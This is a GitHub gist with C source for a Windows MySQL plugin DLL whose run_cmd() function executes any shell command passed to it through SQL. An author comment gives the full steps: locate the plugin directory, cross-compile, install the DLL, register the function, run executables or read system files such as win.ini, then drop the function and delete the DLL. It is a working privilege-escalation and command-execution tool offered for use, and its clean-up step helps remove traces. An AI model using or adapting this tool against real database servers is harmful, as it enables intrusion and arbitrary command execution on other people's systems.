Created
October 8, 2026 19:15
-
-
Save Reelix/70dba28f8e87f6508f48e7d805eedc17 to your computer and use it in GitHub Desktop.
A DLL Plugin to load into MySQL to run commands.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <windows.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| typedef struct st_udf_init { | |
| char maybe_null; | |
| unsigned int decimals; | |
| unsigned long max_length; | |
| char *ptr; | |
| char const_item; | |
| } UDF_INIT; | |
| typedef struct st_udf_args { | |
| unsigned int arg_count; | |
| int *arg_type; | |
| char **args; // This is an array of strings | |
| unsigned long *lengths; // This is an array of integers | |
| char *maybe_null; | |
| char **attributes; | |
| unsigned long *attribute_lengths; | |
| } UDF_ARGS; | |
| enum Item_result { STRING_RESULT=0, REAL_RESULT, INT_RESULT, ROW_RESULT, DECIMAL_RESULT }; | |
| #define DLLEXPORT __declspec(dllexport) | |
| DLLEXPORT bool run_cmd_init(UDF_INIT *initid, UDF_ARGS *args, char *message); | |
| DLLEXPORT char* run_cmd(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error); | |
| DLLEXPORT void run_cmd_deinit(UDF_INIT *initid); | |
| DLLEXPORT bool run_cmd_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { | |
| if (args->arg_count != 1 || args->arg_type[0] != STRING_RESULT) { | |
| strcpy(message, "run_cmd() requires exactly one string argument."); | |
| return 1; | |
| } | |
| // Set max_length to allow up to 65k of output back to MySQL | |
| initid->max_length = 65535; | |
| return 0; | |
| } | |
| DLLEXPORT char* run_cmd(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) { | |
| // FIX: Explicitly reference the 0th element of the arrays | |
| unsigned long cmd_len = args->lengths[0]; | |
| char *cmd_buffer = (char *)malloc(cmd_len + 1); | |
| if (cmd_buffer == NULL) { | |
| *error = 1; | |
| return NULL; | |
| } | |
| // FIX: Reference args->args[0] to copy the full string parameter | |
| memcpy(cmd_buffer, args->args[0], cmd_len); | |
| cmd_buffer[cmd_len] = '\0'; | |
| // Open pipe to capture parameters + stdout | |
| FILE *fp = _popen(cmd_buffer, "r"); | |
| free(cmd_buffer); | |
| if (fp == NULL) { | |
| *error = 1; | |
| return NULL; | |
| } | |
| memset(result, 0, 255); | |
| // Read up to 254 bytes into the default return buffer | |
| size_t bytes_read = fread(result, 1, 254, fp); | |
| _pclose(fp); | |
| *length = (unsigned long)bytes_read; | |
| return result; | |
| } | |
| DLLEXPORT void run_cmd_deinit(UDF_INIT *initid) { | |
| // Cleanup | |
| } |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1.) Check Plugin Directory:
SHOW VARIABLES LIKE 'plugin_dir'2.) If you have write access, compile plugin on Linux host:
x86_64-w64-mingw32-gcc -shared -o custom_cmd.dll custom_cmd.c -lmsvcrt3.) Copy over to plugin directory
4.) Run SQL:
CREATE FUNCTION run_cmd RETURNS STRING SONAME 'custom_cmd.dll';5.) Run SQL:
SELECT run_cmd('C:\\tmp\\command.exe');6.) As the output is in hex, to read a file you can go:
SELECT CAST(run_cmd('type C:\\Windows\\win.ini') AS CHAR);Clean Up:
DROP FUNCTION IF EXISTS run_cmd;and delete the dll.